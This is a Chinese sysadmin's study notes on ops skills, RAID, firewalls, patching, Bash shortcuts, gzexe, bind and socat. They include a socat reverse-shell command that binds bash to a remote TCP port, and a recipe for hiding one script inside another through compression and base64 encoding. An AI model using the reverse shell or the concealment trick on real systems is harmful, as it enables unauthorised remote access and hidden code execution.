工作经验心得分享

运维人员应该具备哪些能力

很强的分析和解决问题的能力

良好的沟通能力

组织协调能力

强烈的责任心

工作经验

服务器安全，所有机器都要防火墙吗？

防火墙很重要，但不是所有机器都启用防火墙

有些机器需要，有些可以使用架构方式屏蔽

我的服务器需要做什么样的 raid

需求决定一切

raid5 和 raid10 是用的最多的

raid5 vs raid10

硬盘故障修复案例

我的服务器怎么装软件？

我的经历 从 yum 来，到 编译去，又回到 yum

系统软件调优如何平衡

有限调优，平衡资源

系统升级与补丁如何处理？

精彩命令放送：

gzexe

gzexe是用来压缩执行文件的程序。当您去执行被压缩过的执行文件时，该文件会自动解压然后继续执行，和使用一般的执行文件相同。

-d 解压缩

bind

在 Bash 中有很多的快捷键，例如:

命令编辑快捷方式

Ctrl + a - 转到命令行的开头

Ctrl + e - 转到命令行的末尾

Ctrl + k - 从光标删除到命令行的末尾

Ctrl + u - 从光标删除到命令行的开头

Ctrl + w - 从光标删除到单词的开头（即向后删除一个单词）

Ctrl + y - 粘贴使用光标后的删除快捷方式之一（例如上面的删除快捷方式）剪切的单词或文本

Ctrl + xx - 在命令行开始和当前光标位置之间移动（然后再返回）

Ctrl + f - 向前移动一个字符

Ctrl + b - 向后移动一个字符

Ctrl + d - 删除光标下的字符

Ctrl + h - 删除光标前的字符

Ctrl + t - 在光标下与前一个交换字符

这些快捷方式是如何定义的呢？

bind 命令

参数说明：

-l 　列出所有的功能。

-q 查询快捷键

bind -q abort

bind -q accept-line

-x 自定义快捷键

例如： 重新定义 Ctrl-l 功能

bind -x '"\C-l":echo haha'

socat

socat简介

socat是一个多功能的网络工具，名字来由是” Socket CAT”，可以看作是netcat的N倍加强版，socat的官方网站：http://www.dest-unreach.org/socat/ 。

Socat是一个两个独立数据通道之间的双向数据传输的继电器。这些数据通道包含文件、管道、设备（终端或调制解调器等）、socket（Unix，IP4，IP6 - raw，UDP，TCP）、SSL、SOCKS4客户端或代理CONNECT

socat 必须有两个流，就是要有两组地址，如果只有一个地址我们可以使用 – 来替代另一个地址， - 代表标准输入和标准输出

例如连接 百度

socat – TCP：[www.baidu.com](http://www.baidu.com/)：80

端口转发：

socat TCP4-LISTEN:8888,fork TCP4:118.144.89.240:80

NAT转换

socat tcp-listen:80 tcp:192.168.1.10:50070

bash 端口反弹

服务端 socat tcp:$cip:8888 system:bash,pty,stderr

客户端 socat readline tcp-l:8888

1. 把可执行脚本嵌入别的脚本---夹带，隐藏

(加密，重新排序，倒叙，压缩..)

1.echo '#!/bin/bash

> echo "hello world" ' > a.sh

2.chmod 755 a.sh

3.gzip -9 a.sh

4.vim test.sh

#!/bin/bash

skip=5

sed -n "${skip},\$p" $0 | gzip -d | bash

exit

5.cat a.sh.gz >>test.sh

6.bash test.sh

二、gzexe:用来压缩执行文件的程序

vim a.sh

gzexe a.sh

vim a.sh ---->(1,2,32..38行有用而已)

gzexe -d a.sh 解压(第一个变量skip相同)

加密:sed -n '4,$p' a.sh | openssl base64

三、bind在所有命令执行之前执行(不定义单个字符)bash快捷键

配置文件：/etc/inputrc

bind -l 列出所有功能 bind -q 参数(-l查出来的) 查询快捷键

bind -p | grep clear 查看 [bash内置函数---man bash]

bind -x 定义 bind -x '"\C-l":echo xxhh' 可写进启动脚本

nc加强版socat

端口反弹

端口转发

防火墙（外层）：VPN，负载均衡层，跳板机..

安装最小化，从架构或结构去规避，不安装服务是最安全的

raid5(io要求不高的，存储量大的)推荐9(raid5)+1(热备)，坏了会降速，不能坏两块

raid10(io号，热点数据)推荐默认使用

服务器磁盘(热插拔)，raid卡(默认备份)，内存容易(关机换)坏

集群需要保证参数，版本，路径，环境一致，方便批量操作，源码包编译成rpm包，自定义yum源安装

旧系统不升级，新项目用最新版本，企业追求稳定

补丁:系统级，版本yum update

软件级：编译重做rpm包，yum升级

通用硬件+redhat公司的centos/dibian社区

Httpd -l

Netstat -ant |awk ‘/^tcp/{A[$NF]++}END{for (a in A) print A[a],a}’

Who -b

Ip a s